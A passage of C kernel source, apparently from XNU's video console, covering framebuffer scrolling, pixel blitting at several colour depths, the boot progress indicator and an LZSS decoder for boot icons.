rowscanline);\n\tfrom = to - (linelongs * num);  /* handle multiple line scroll (Michel Pollet) */\n\n\ti = (scrreg_bottom - scrreg_top) - num;\n\n\twhile (i-- > 0) {\n\t\tfor (line = 0; line < ISO_CHAR_HEIGHT; line++) {\n\t\t\t/*\n\t\t\t * Only copy what is displayed\n\t\t\t */\n\t\t\tvideo_scroll_down(from,\n\t\t\t    (from - (vinfo.v_rowscanbytes >> 2)),\n\t\t\t    to);\n\n\t\t\tfrom -= rowline;\n\t\t\tto -= rowline;\n\t\t}\n\t}\n}\n\nstatic void\nvc_scroll_up(int num, unsigned int scrreg_top, unsigned int scrreg_bottom)\n{\n\tuint32_t *from, *to, linelongs, i, line, rowline, rowscanline;\n\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\n\tlinelongs = vinfo.v_rowbytes * (ISO_CHAR_HEIGHT >> 2);\n\trowline = vinfo.v_rowbytes >> 2;\n\trowscanline = vinfo.v_rowscanbytes >> 2;\n\n\tto = (uint32_t *) vinfo.v_baseaddr + (scrreg_top * linelongs);\n\tfrom = to + (linelongs * num);  /* handle multiple line scroll (Michel Pollet) */\n\n\ti = (scrreg_bottom - scrreg_top) - num;\n\n\twhile (i-- > 0) {\n\t\tfor (line = 0; line < ISO_CHAR_HEIGHT; line++) {\n\t\t\t/*\n\t\t\t * Only copy what is displayed\n\t\t\t */\n\t\t\tvideo_scroll_up(from,\n\t\t\t    (from + (vinfo.v_rowscanbytes >> 2)),\n\t\t\t    to);\n\n\t\t\tfrom += rowline;\n\t\t\tto += rowline;\n\t\t}\n\t}\n}\n\nstatic void\nvc_update_color(int color, boolean_t fore)\n{\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\tif (fore) {\n\t\tvc_color_fore = vc_colors[color][vc_color_index_table[vinfo.v_depth]];\n\t} else {\n\t\tvc_color_back = vc_colors[color][vc_color_index_table[vinfo.v_depth]];\n\t}\n}\n\n/*\n * Video Console (Back-End): Icon Control\n * --------------------------------------\n */\n\nstatic vc_progress_element *    vc_progress;\nenum { kMaxProgressData = 3 };\nstatic const unsigned char *    vc_progress_data[kMaxProgressData];\nstatic const unsigned char *    vc_progress_alpha;\nstatic boolean_t                vc_progress_enable;\nstatic const unsigned char *    vc_clut;\nstatic const unsigned char *    vc_clut8;\nstatic unsigned char            vc_revclut8[256];\nstatic uint32_t                 vc_progress_interval;\nstatic uint32_t                 vc_progress_count;\nstatic uint32_t                 vc_progress_angle;\nstatic uint64_t                 vc_progress_deadline;\nstatic thread_call_data_t       vc_progress_call;\nstatic boolean_t                vc_needsave;\nstatic void *                   vc_saveunder;\nstatic vm_size_t                vc_saveunder_len;\nstatic int8_t                   vc_uiscale = 1;\nvc_progress_user_options        vc_progress_options;\nvc_progress_user_options        vc_user_options;\n\ndecl_simple_lock_data(, vc_progress_lock);\n\n#if defined(XNU_TARGET_OS_OSX)\nstatic int                      vc_progress_withmeter = 3;\nint                             vc_progressmeter_enable;\nstatic int                      vc_progressmeter_drawn;\nint                             vc_progressmeter_value;\nstatic uint32_t                 vc_progressmeter_count;\nstatic uint32_t                 vc_progress_meter_start;\nstatic uint32_t                 vc_progress_meter_end;\nstatic uint64_t                 vc_progressmeter_interval;\nstatic uint64_t                 vc_progressmeter_deadline;\nstatic thread_call_data_t       vc_progressmeter_call;\nstatic void *                   vc_progressmeter_backbuffer;\nstatic uint32_t                 vc_progressmeter_diskspeed = 256;\n\n#endif  /* defined(XNU_TARGET_OS_OSX) */\n\nenum {\n\tkSave          = 0x10,\n\tkDataIndexed   = 0x20,\n\tkDataAlpha     = 0x40,\n\tkDataBack      = 0x80,\n\tkDataRotate    = 0x03,\n};\n\nstatic void vc_blit_rect(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    void * backBuffer,\n    unsigned int flags);\nstatic void vc_blit_rect_8(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned char * backBuffer,\n    unsigned int flags);\nstatic void vc_blit_rect_16(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned short * backBuffer,\n    unsigned int flags);\nstatic void vc_blit_rect_32(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned int * backBuffer,\n    unsigned int flags);\nstatic void vc_blit_rect_30(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned int * backBuffer,\n    unsigned int flags);\nstatic void vc_progress_task( void * arg0, void * arg );\n#if defined(XNU_TARGET_OS_OSX)\nstatic void vc_progressmeter_task( void * arg0, void * arg );\n#endif  /* defined(XNU_TARGET_OS_OSX) */\n\nstatic void\nvc_blit_rect(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    void * backBuffer,\n    unsigned int flags)\n{\n\tif (!vinfo.v_depth) {\n\t\treturn;\n\t}\n\tif (((unsigned int)(x + width)) > vinfo.v_width) {\n\t\treturn;\n\t}\n\tif (((unsigned int)(y + height)) > vinfo.v_height) {\n\t\treturn;\n\t}\n\n\tswitch (vinfo.v_depth) {\n\tcase 8:\n\t\tif (vc_clut8 == vc_clut) {\n\t\t\tvc_blit_rect_8( x, y, bx, width, height, sourceWidth, sourceHeight, sourceRow, backRow, dataPtr, (unsigned char *) backBuffer, flags );\n\t\t}\n\t\tbreak;\n\tcase 16:\n\t\tvc_blit_rect_16( x, y, bx, width, height, sourceWidth, sourceHeight, sourceRow, backRow, dataPtr, (unsigned short *) backBuffer, flags );\n\t\tbreak;\n\tcase 32:\n\t\tvc_blit_rect_32( x, y, bx, width, height, sourceWidth, sourceHeight, sourceRow, backRow, dataPtr, (unsigned int *) backBuffer, flags );\n\t\tbreak;\n\tcase 30:\n\t\tvc_blit_rect_30( x, y, bx, width, height, sourceWidth, sourceHeight, sourceRow, backRow, dataPtr, (unsigned int *) backBuffer, flags );\n\t\tbreak;\n\t}\n}\n\nstatic void\nvc_blit_rect_8(int x, int y, __unused int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, __unused int backRow,\n    const unsigned char * dataPtr,\n    __unused unsigned char * backBuffer,\n    __unused unsigned int flags)\n{\n\tvolatile unsigned short * dst;\n\tint line, col;\n\tunsigned int data = 0, out = 0;\n\tint sx, sy, a, b, c, d;\n\tint scale = 0x10000;\n\n\ta = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][0] * scale;\n\tb = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][1] * scale;\n\tc = vc_rotate_matr[kDataRotate & flags][1][0] * scale;\n\td = vc_rotate_matr[kDataRotate & flags][1][1] * scale;\n\n\tsx = ((a + b) < 0) ? ((sourceWidth * scale)  - 0x8000) : 0;\n\tsy = ((c + d) < 0) ? ((sourceHeight * scale) - 0x8000) : 0;\n\n\tif (!sourceRow) {\n\t\tdata = (unsigned int)(uintptr_t)dataPtr;\n\t}\n\n\tdst = (volatile unsigned short *) (vinfo.v_baseaddr +\n\t    (y * vinfo.v_rowbytes) +\n\t    (x * 4));\n\n\tfor (line = 0; line < height; line++) {\n\t\tfor (col = 0; col < width; col++) {\n\t\t\tif (sourceRow) {\n\t\t\t\tdata = dataPtr[((sx + (col * a) + (line * b)) >> 16)\n\t\t\t\t    + sourceRow * (((sy + (col * c) + (line * d)) >> 16))];\n\t\t\t}\n\t\t\tif (kDataAlpha & flags) {\n\t\t\t\tout = vc_revclut8[data];\n\t\t\t} else {\n\t\t\t\tout = data;\n\t\t\t}\n\t\t\t*(dst + col) = out;\n\t\t}\n\t\tdst = (volatile unsigned short *) (((volatile char*)dst) + vinfo.v_rowbytes);\n\t}\n}\n\n/* For ARM, 16-bit is 565 (RGB); it is 1555 (XRGB) on other platforms */\n\n#ifdef __arm__\n#define CLUT_MASK_R     0xf8\n#define CLUT_MASK_G     0xfc\n#define CLUT_MASK_B     0xf8\n#define CLUT_SHIFT_R    << 8\n#define CLUT_SHIFT_G    << 3\n#define CLUT_SHIFT_B    >> 3\n#define MASK_R          0xf800\n#define MASK_G          0x07e0\n#define MASK_B          0x001f\n#define MASK_R_8        0x7f800\n#define MASK_G_8        0x01fe0\n#define MASK_B_8        0x000ff\n#else\n#define CLUT_MASK_R     0xf8\n#define CLUT_MASK_G     0xf8\n#define CLUT_MASK_B     0xf8\n#define CLUT_SHIFT_R    << 7\n#define CLUT_SHIFT_G    << 2\n#define CLUT_SHIFT_B    >> 3\n#define MASK_R          0x7c00\n#define MASK_G          0x03e0\n#define MASK_B          0x001f\n#define MASK_R_8        0x3fc00\n#define MASK_G_8        0x01fe0\n#define MASK_B_8        0x000ff\n#endif\n\nstatic void\nvc_blit_rect_16( int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned short * backPtr,\n    unsigned int flags)\n{\n\tvolatile unsigned short * dst;\n\tint line, col;\n\tunsigned int data = 0, out = 0, back = 0;\n\tint sx, sy, a, b, c, d;\n\tint scale = 0x10000;\n\n\ta = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][0] * scale;\n\tb = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][1] * scale;\n\tc = vc_rotate_matr[kDataRotate & flags][1][0] * scale;\n\td = vc_rotate_matr[kDataRotate & flags][1][1] * scale;\n\n\tsx = ((a + b) < 0) ? ((sourceWidth * scale)  - 0x8000) : 0;\n\tsy = ((c + d) < 0) ? ((sourceHeight * scale) - 0x8000) : 0;\n\n\tif (!sourceRow) {\n\t\tdata = (unsigned int)(uintptr_t)dataPtr;\n\t}\n\n\tif (backPtr) {\n\t\tbackPtr += bx;\n\t}\n\tdst = (volatile unsigned short *) (vinfo.v_baseaddr +\n\t    (y * vinfo.v_rowbytes) +\n\t    (x * 2));\n\n\tfor (line = 0; line < height; line++) {\n\t\tfor (col = 0; col < width; col++) {\n\t\t\tif (sourceRow) {\n\t\t\t\tdata = dataPtr[((sx + (col * a) + (line * b)) >> 16)\n\t\t\t\t    + sourceRow * (((sy + (col * c) + (line * d)) >> 16))];\n\t\t\t}\n\t\t\tif (backPtr) {\n\t\t\t\tif (kSave & flags) {\n\t\t\t\t\tback = *(dst + col);\n\t\t\t\t\t*backPtr++ = back;\n\t\t\t\t} else {\n\t\t\t\t\tback = *backPtr++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (kDataIndexed & flags) {\n\t\t\t\tout = ((CLUT_MASK_R & (vc_clut[data * 3 + 0]))CLUT_SHIFT_R)\n\t\t\t\t    | ((CLUT_MASK_G & (vc_clut[data * 3 + 1]))CLUT_SHIFT_G)\n\t\t\t\t    | ((CLUT_MASK_B & (vc_clut[data * 3 + 2]))CLUT_SHIFT_B);\n\t\t\t} else if (kDataAlpha & flags) {\n\t\t\t\tout = (((((back & MASK_R) * data) + MASK_R_8) >> 8) & MASK_R)\n\t\t\t\t    | (((((back & MASK_G) * data) + MASK_G_8) >> 8) & MASK_G)\n\t\t\t\t    | (((((back & MASK_B) * data) + MASK_B_8) >> 8) & MASK_B);\n\t\t\t\tif (vc_progress_white) {\n\t\t\t\t\tout += (((0xff - data) & CLUT_MASK_R)CLUT_SHIFT_R)\n\t\t\t\t\t    | (((0xff - data) & CLUT_MASK_G)CLUT_SHIFT_G)\n\t\t\t\t\t    | (((0xff - data) & CLUT_MASK_B)CLUT_SHIFT_B);\n\t\t\t\t}\n\t\t\t} else if (kDataBack & flags) {\n\t\t\t\tout = back;\n\t\t\t} else {\n\t\t\t\tout = data;\n\t\t\t}\n\t\t\t*(dst + col) = out;\n\t\t}\n\t\tdst = (volatile unsigned short *) (((volatile char*)dst) + vinfo.v_rowbytes);\n\t\tif (backPtr) {\n\t\t\tbackPtr += backRow - width;\n\t\t}\n\t}\n}\n\n\nstatic void\nvc_blit_rect_32(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned int * backPtr,\n    unsigned int flags)\n{\n\tvolatile unsigned int * dst;\n\tint line, col;\n\tunsigned int data = 0, out = 0, back = 0;\n\tint sx, sy, a, b, c, d;\n\tint scale = 0x10000;\n\n\ta = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][0] * scale;\n\tb = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][1] * scale;\n\tc = vc_rotate_matr[kDataRotate & flags][1][0] * scale;\n\td = vc_rotate_matr[kDataRotate & flags][1][1] * scale;\n\n\tsx = ((a + b) < 0) ? ((sourceWidth * scale)  - 0x8000) : 0;\n\tsy = ((c + d) < 0) ? ((sourceHeight * scale) - 0x8000) : 0;\n\n\tif (!sourceRow) {\n\t\tdata = (unsigned int)(uintptr_t)dataPtr;\n\t}\n\n\tif (backPtr) {\n\t\tbackPtr += bx;\n\t}\n\tdst = (volatile unsigned int *) (vinfo.v_baseaddr +\n\t    (y * vinfo.v_rowbytes) +\n\t    (x * 4));\n\n\tfor (line = 0; line < height; line++) {\n\t\tfor (col = 0; col < width; col++) {\n\t\t\tif (sourceRow) {\n\t\t\t\tdata = dataPtr[((sx + (col * a) + (line * b)) >> 16)\n\t\t\t\t    + sourceRow * (((sy + (col * c) + (line * d)) >> 16))];\n\t\t\t}\n\t\t\tif (backPtr) {\n\t\t\t\tif (kSave & flags) {\n\t\t\t\t\tback = *(dst + col);\n\t\t\t\t\t*backPtr++ = back;\n\t\t\t\t} else {\n\t\t\t\t\tback = *backPtr++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (kDataIndexed & flags) {\n\t\t\t\tout =     (vc_clut[data * 3 + 0] << 16)\n\t\t\t\t    | (vc_clut[data * 3 + 1] << 8)\n\t\t\t\t    | (vc_clut[data * 3 + 2]);\n\t\t\t} else if (kDataAlpha & flags) {\n\t\t\t\tout = (((((back & 0x00ff00ff) * data) + 0x00ff00ff) >> 8) & 0x00ff00ff)\n\t\t\t\t    | (((((back & 0x0000ff00) * data) + 0x0000ff00) >> 8) & 0x0000ff00);\n\t\t\t\tif (vc_progress_white) {\n\t\t\t\t\tout += ((0xff - data) << 16)\n\t\t\t\t\t    | ((0xff - data) << 8)\n\t\t\t\t\t    |  (0xff - data);\n\t\t\t\t}\n\t\t\t} else if (kDataBack & flags) {\n\t\t\t\tout = back;\n\t\t\t} else {\n\t\t\t\tout = data;\n\t\t\t}\n\t\t\t*(dst + col) = out;\n\t\t}\n\t\tdst = (volatile unsigned int *) (((volatile char*)dst) + vinfo.v_rowbytes);\n\t\tif (backPtr) {\n\t\t\tbackPtr += backRow - width;\n\t\t}\n\t}\n}\n\nstatic void\nvc_blit_rect_30(int x, int y, int bx,\n    int width, int height,\n    int sourceWidth, int sourceHeight,\n    int sourceRow, int backRow,\n    const unsigned char * dataPtr,\n    unsigned int * backPtr,\n    unsigned int flags)\n{\n\tvolatile unsigned int * dst;\n\tint line, col;\n\tunsigned int data = 0, out = 0, back = 0;\n\tunsigned long long exp;\n\tint sx, sy, a, b, c, d;\n\tint scale = 0x10000;\n\n\ta = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][0] * scale;\n\tb = (sourceRow == 1) ? 0 : vc_rotate_matr[kDataRotate & flags][0][1] * scale;\n\tc = vc_rotate_matr[kDataRotate & flags][1][0] * scale;\n\td = vc_rotate_matr[kDataRotate & flags][1][1] * scale;\n\n\tsx = ((a + b) < 0) ? ((sourceWidth * scale)  - 0x8000) : 0;\n\tsy = ((c + d) < 0) ? ((sourceHeight * scale) - 0x8000) : 0;\n\n\tif (!sourceRow) {\n\t\tdata = (unsigned int)(uintptr_t)dataPtr;\n\t}\n\n\tif (backPtr) {\n\t\tbackPtr += bx;\n\t}\n\tdst = (volatile unsigned int *) (vinfo.v_baseaddr +\n\t    (y * vinfo.v_rowbytes) +\n\t    (x * 4));\n\n\tfor (line = 0; line < height; line++) {\n\t\tfor (col = 0; col < width; col++) {\n\t\t\tif (sourceRow) {\n\t\t\t\tdata = dataPtr[((sx + (col * a) + (line * b)) >> 16)\n\t\t\t\t    + sourceRow * (((sy + (col * c) + (line * d)) >> 16))];\n\t\t\t}\n\t\t\tif (backPtr) {\n\t\t\t\tif (kSave & flags) {\n\t\t\t\t\tback = *(dst + col);\n\t\t\t\t\t*backPtr++ = back;\n\t\t\t\t} else {\n\t\t\t\t\tback = *backPtr++;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (kDataIndexed & flags) {\n\t\t\t\tout =     (vc_clut[data * 3 + 0] << 22)\n\t\t\t\t    | (vc_clut[data * 3 + 1] << 12)\n\t\t\t\t    | (vc_clut[data * 3 + 2] << 2);\n\t\t\t} else if (kDataAlpha & flags) {\n\t\t\t\texp = back;\n\t\t\t\texp =  (((((exp & 0x3FF003FF) * data) + 0x0FF000FF) >> 8) & 0x3FF003FF)\n\t\t\t\t    | (((((exp & 0x000FFC00) * data) + 0x0003FC00) >> 8) & 0x000FFC00);\n\t\t\t\tout = (unsigned int)exp;\n\t\t\t\tif (vc_progress_white) {\n\t\t\t\t\tout += ((0xFF - data) << 22)\n\t\t\t\t\t    | ((0xFF - data) << 12)\n\t\t\t\t\t    | ((0xFF - data) << 2);\n\t\t\t\t}\n\t\t\t} else if (kDataBack & flags) {\n\t\t\t\tout = back;\n\t\t\t} else {\n\t\t\t\tout = data;\n\t\t\t}\n\t\t\t*(dst + col) = out;\n\t\t}\n\t\tdst = (volatile unsigned int *) (((volatile char*)dst) + vinfo.v_rowbytes);\n\t\tif (backPtr) {\n\t\t\tbackPtr += backRow - width;\n\t\t}\n\t}\n}\n\nstatic void\nvc_clean_boot_graphics(void)\n{\n#if defined(XNU_TARGET_OS_OSX)\n\t// clean up possible FDE login graphics\n\tvc_progress_set(FALSE, 0);\n\tconst unsigned char *\n\t    color = (typeof(color))(uintptr_t)(vc_progress_white ? 0x00000000 : 0xBFBFBFBF);\n\tvc_blit_rect(0, 0, 0, vinfo.v_width, vinfo.v_height, vinfo.v_width, vinfo.v_height, 0, 0, color, NULL, 0);\n#endif\n}\n\n/*\n * Routines to render the lzss image format\n */\n\nstruct lzss_image_state {\n\tuint32_t col;\n\tuint32_t row;\n\tuint32_t width;\n\tuint32_t height;\n\tuint32_t bytes_per_row;\n\tvolatile uint32_t * row_start;\n\tconst uint8_t* clut;\n};\ntypedef struct lzss_image_state lzss_image_state;\n\n// returns 0 if OK, 1 if error\nstatic inline int\nvc_decompress_lzss_next_pixel(int next_data, lzss_image_state* state)\n{\n\tuint32_t palette_index = 0;\n\tuint32_t pixel_value   = 0;\n\n\tpalette_index = next_data * 3;\n\n\tpixel_value = ((uint32_t) state->clut[palette_index + 0] << 16)\n\t    | ((uint32_t) state->clut[palette_index + 1] << 8)\n\t    | ((uint32_t) state->clut[palette_index + 2]);\n\n\t*(state->row_start + state->col) = pixel_value;\n\n\tif (++state->col >= state->width) {\n\t\tstate->col = 0;\n\t\tif (++state->row >= state->height) {\n\t\t\treturn 1;\n\t\t}\n\t\tstate->row_start = (volatile uint32_t *) (((uintptr_t)state->row_start) + state->bytes_per_row);\n\t}\n\treturn 0;\n}\n\n\n/*\n * Blit an lzss compressed image to the framebuffer\n * Assumes 32 bit screen (which is everything we ship at the moment)\n * The function vc_display_lzss_icon was copied from libkern/mkext.c, then modified.\n */\n\n/*\n * TODO: Does lzss use too much stack? 4096 plus bytes...\n *      Can probably chop it down by 1/2.\n */\n\n/**************************************************************\n*   LZSS.C -- A Data Compression Program\n***************************************************************\n*    4/6/1989 Haruhiko Okumura\n*    Use, distribute, and modify this program freely.\n*    Please send me your improved versions.\n*        PC-VAN      SCIENCE\n*        NIFTY-Serve PAF01022\n*        CompuServe  74050,1022\n*\n**************************************************************/\n\n#define N         4096  /* size of ring buffer - must be power of 2 */\n#define F         18    /* upper limit for match_length */\n#define THRESHOLD 2     /* encode string into position and length\n\t                 *  if match_length is greater than this */\n\n// returns 0 if OK, 1 if error\n// x and y indicate upper left corner of image location on screen\nint\nvc_display_lzss_icon(uint32_t dst_x, uint32_t dst_y,\n    uint32_t image_width, uint32_t image_height,\n    const uint8_t *compressed_image,\n    uint32_t       compressed_size,\n    const uint8_t *clut)\n{\n\tuint32_t* image_start;\n\tuint32_t bytes_per_pixel = 4;\n\tuint32_t bytes_per_row = vinfo.v_rowbytes;\n\n\tvc_clean_boot_graphics();\n\n\timage_start = (uint32_t *) (vinfo.v_baseaddr + (dst_y * bytes_per_row) + (dst_x * bytes_per_pixel));\n\n\tlzss_image_state state = {0, 0, image_width, image_height, bytes_per_row, image_start, clut};\n\n\tint rval = 0;\n\n\tconst uint8_t *src = compressed_image;\n\tuint32_t srclen = compressed_size;\n\n\t/* ring buffer of size N, with extra F-1 bytes to aid string comparison */\n\tuint8_t text_buf[N + F - 1];\n\tconst uint8_t *srcend = src + srclen;\n\tint  i, j, k, r, c;\n\tunsigned int flags;\n\n\tsrcend = src + srclen;\n\tfor (i = 0; i < N - F; i++) {\n\t\ttext_buf[i] = ' ';\n\t}\n\tr = N - F;\n\tflags = 0;\n\tfor (;;) {\n\t\tif (((flags >>= 1) & 0x100) == 0) {\n\t\t\tif (src < srcend) {\n\t\t\t\tc = *src++;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tflags = c | 0xFF00; /* uses higher byte cleverly */\n\t\t} /* to count eight */\n\t\tif (flags & 1) {\n\t\t\tif (src < srcend) {\n\t\t\t\tc = *src++;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\trval = vc_decompress_lzss_next_pixel(c, &state);\n\t\t\tif (rval != 0) {\n\t\t\t\treturn rval;\n\t\t\t}\n\t\t\ttext_buf[r++] = c;\n\t\t\tr &= (N - 1);\n\t\t} else {\n\t\t\tif (src < srcend) {\n\t\t\t\ti = *src++;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif (src < srcend) {\n\t\t\t\tj = *src++;\n\t\t\t} else {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\ti |= ((j & 0xF0) << 4);\n\t\t\tj  =  (j & 0x0F) + THRESHOLD;\n\t\t\tfor (k = 0; k <= j; k++) {\n\t\t\t\tc = text_buf[(i + k) & (N - 1)];\n\t\t\t\trval = vc_decompress_lzss_next_pixel(c, &state);\n\t\t\t\tif (rval != 0) {\n\t\t\t\t\treturn rval;\n\t\t\t\t}\n\t\t\t\ttext_buf[r++] = c;\n\t\t\t\tr &= (N - 1);\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\n\nvoid\nnoroot_icon_test(void)\n{\n\tboolean_t o_vc_progress_enable = vc_progress_enable;\n\n\tvc_progress_enable = 1;\n\n\t//PE_display_icon( 0, \"noroot\");\n\n\tvc_progress_enable = o_vc_progress_enable;\n}\n\n\nvoid\nvc_display_icon( vc_progress_element * desc,\n    const unsigned char * data )\n{\n\tint                 x, y, width, height;\n\n\tif (vc_progress_enable && vc_clut) {\n\t\tvc_clean_boot_graphics();\n\n\t\twidth = desc->width;\n\t\theight = desc->height;\n\t\tx = desc->dx;\n\t\ty = desc->dy;\n\t\tif (1 & desc->flags) {\n\t\t\tx += ((vinfo.v_width - width) / 2);\n\t\t\ty += ((vinfo.v_height - height) / 2);\n\t\t}\n\t\tvc_blit_rect( x, y, 0, width, height, width, height, width, 0, data, NULL, kDataIndexed );\n\t}\n}\n\nvoid\nvc_progress_initialize( vc_progress_element * desc,\n    const unsigned char * data1x,\n    const unsigned char * data2x,\n    const unsigned char * data3x,\n    const unsigned char * clut )\n{\n\tuint64_t    abstime;\n\n\tif ((!clut) || (!desc) || (!data1x)) {\n\t\treturn;\n\t}\n\tvc_clut = clut;\n\tvc_clut8 = clut;\n\n\tvc_progress = desc;\n\tvc_progress_data[0] = data1x;\n\tvc_progress_data[1] = data2x;\n\tvc_progress_data[2] = data3x;\n\tif (2 & vc_progress->flags) {\n\t\tvc_progress_alpha = data1x\n\t\t    + vc_progress->count * vc_progress->width * vc_progress->height;\n\t} else {\n\t\tvc_progress_alpha = NULL;\n\t}\n\n\tthread_call_setup(&vc_progress_call, vc_progress_task, NULL);\n\tclock_interval_to_absolutetime_interval(vc_progress->time, 1000 * 1000, &abstime);\n\tvc_progress_interval = (uint32_t)abstime;\n\n#if defined(XNU_TARGET_OS_OSX)\n\tthread_call_setup(&vc_progressmeter_call, vc_progressmeter_task, NULL);\n\tclock_interval_to_absolutetime_interval(1000 / 8, 1000 * 1000, &abstime);\n\tvc_progressmeter_interval = (uint32_t)abstime;\n#endif  /* defined(XNU_TARGET_OS_OSX) */\n}\n\nvoid\nvc_progress_set(boolean_t enable, uint32_t vc_delay)\n{\n\tspl_t            s;\n\tvoid             *saveBuf = NULL;\n\tvm_size_t        saveLen = 0;\n\tunsigned int     count;\n\tunsigned int     index;\n\tunsigned char    pdata8;\n\tunsigned short   pdata16;\n\tunsigned short * buf16;\n\tunsigned int     pdata32;\n\tunsigned int *   buf32;\n\n\tif (!vc_progress) {\n\t\treturn;\n\t}\n\n#if defined(CONFIG_VC_PROGRESS_METER_SUPPORT)\n\n#if defined (__x86_64__)\n\tif (kBootArgsFlagBlack & ((boot_args *) PE_state.bootArgs)->flags) {\n\t\treturn;\n\t}\n#endif /* defined (__x86_64__) */\n\n\tif (1 & vc_progress_withmeter) {\n\t\tif (enable) {\n\t\t\tinternal_enable_progressmeter(kProgressMeterKernel);\n\t\t}\n\n\t\ts = splhigh();\n\t\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\t\tif (vc_progress_enable != enable) {\n\t\t\tvc_progress_enable = enable;\n\t\t\tif (enable) {\n\t\t\t\tvc_progressmeter_count = 0;\n\t\t\t\tclock_interval_to_deadline(vc_delay,\n\t\t\t\t    1000 * 1000 * 1000 /*second scale*/,\n\t\t\t\t    &vc_progressmeter_deadline);\n\t\t\t\tthread_call_enter_delayed(&vc_progressmeter_call, vc_progressmeter_deadline);\n\t\t\t} else {\n\t\t\t\tthread_call_cancel(&vc_progressmeter_call);\n\t\t\t}\n\t\t}\n\n\t\tsimple_unlock(&vc_progress_lock);\n\t\tsplx(s);\n\n\t\tif (!enable) {\n\t\t\tinternal_enable_progressmeter(kProgressMeterOff);\n\t\t}\n\t\treturn;\n\t}\n\n#endif /* defined(CONFIG_VC_PROGRESS_METER_SUPPORT) */\n\n\tif (enable) {\n\t\tsaveLen = (vc_progress->width * vc_uiscale) * (vc_progress->height * vc_uiscale) * ((vinfo.v_depth + 7) / 8);\n\t\tsaveBuf = kheap_alloc( KHEAP_DATA_BUFFERS, saveLen, Z_WAITOK );\n\n\t\tswitch (vinfo.v_depth) {\n\t\tcase 8:\n\t\t\tfor (count = 0; count < 256; count++) {\n\t\t\t\tvc_revclut8[count] = vc_clut[0x01 * 3];\n\t\t\t\tpdata8 = (vc_clut[0x01 * 3] * count + 0x0ff) >> 8;\n\t\t\t\tfor (index = 0; index < 256; index++) {\n\t\t\t\t\tif ((pdata8 == vc_clut[index * 3 + 0]) &&\n\t\t\t\t\t    (pdata8 == vc_clut[index * 3 + 1]) &&\n\t\t\t\t\t    (pdata8 == vc_clut[index * 3 + 2])) {\n\t\t\t\t\t\tvc_revclut8[count] = index;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tmemset( saveBuf, 0x01, saveLen );\n\t\t\tbreak;\n\n\t\tcase 16:\n\t\t\tbuf16 = (unsigned short *) saveBuf;\n\t\t\tpdata16 = ((vc_clut[0x01 * 3 + 0] & CLUT_MASK_R)CLUT_SHIFT_R)\n\t\t\t    | ((vc_clut[0x01 * 3 + 0] & CLUT_MASK_G)CLUT_SHIFT_G)\n\t\t\t    | ((vc_clut[0x01 * 3 + 0] & CLUT_MASK_B)CLUT_SHIFT_B);\n\t\t\tfor (count = 0; count < saveLen / 2; count++) {\n\t\t\t\tbuf16[count] = pdata16;\n\t\t\t}\n\t\t\tbreak;\n\n\t\tcase 32:\n\t\t\tbuf32 = (unsigned int *) saveBuf;\n\t\t\tpdata32 = ((vc_clut[0x01 * 3 + 0] & 0xff) << 16)\n\t\t\t    | ((vc_clut[0x01 * 3 + 1] & 0xff) << 8)\n\t\t\t    | ((vc_clut[0x01 * 3 + 2] & 0xff) << 0);\n\t\t\tfor (count = 0; count < saveLen / 4; count++) {\n\t\t\t\tbuf32[count] = pdata32;\n\t\t\t}\n\t\t\tbreak;\n\t\t}\n\t}\n\n\ts = splhigh();\n\tsimple_lock(&vc_progress_lock, LCK_GRP_NULL);\n\n\tif (vc_progress_enable != enable) {\n\t\tvc_progress_enable = enable;\n\t\tif (enable) {\n\t\t\tvc_needsave      = TRUE;\n\t\t\tvc_saveunder     = saveBuf;\n\t\t\tvc_saveunder_len = saveLen;\n\t\t\tsaveBuf               = NULL;\n\t\t\tsaveLen           = 0;\n\t\t\tvc_progress_count = 0;\n\t\t\tvc_progress_angle = 0;\n\n\t\t\tclock_interval_to_deadline(vc_delay,\n\t\t\t    1000 * 1000 * 1000 /*second scale*/,\n\t\t\t    &vc_progress_deadline);\n\t\t\tthread_call_enter_delayed(&vc_progress_call, vc_progress_deadline);\n\t\t} else {\n\t\t\tif (vc_saveunder) {\n\t\t\t\tsaveBuf      = 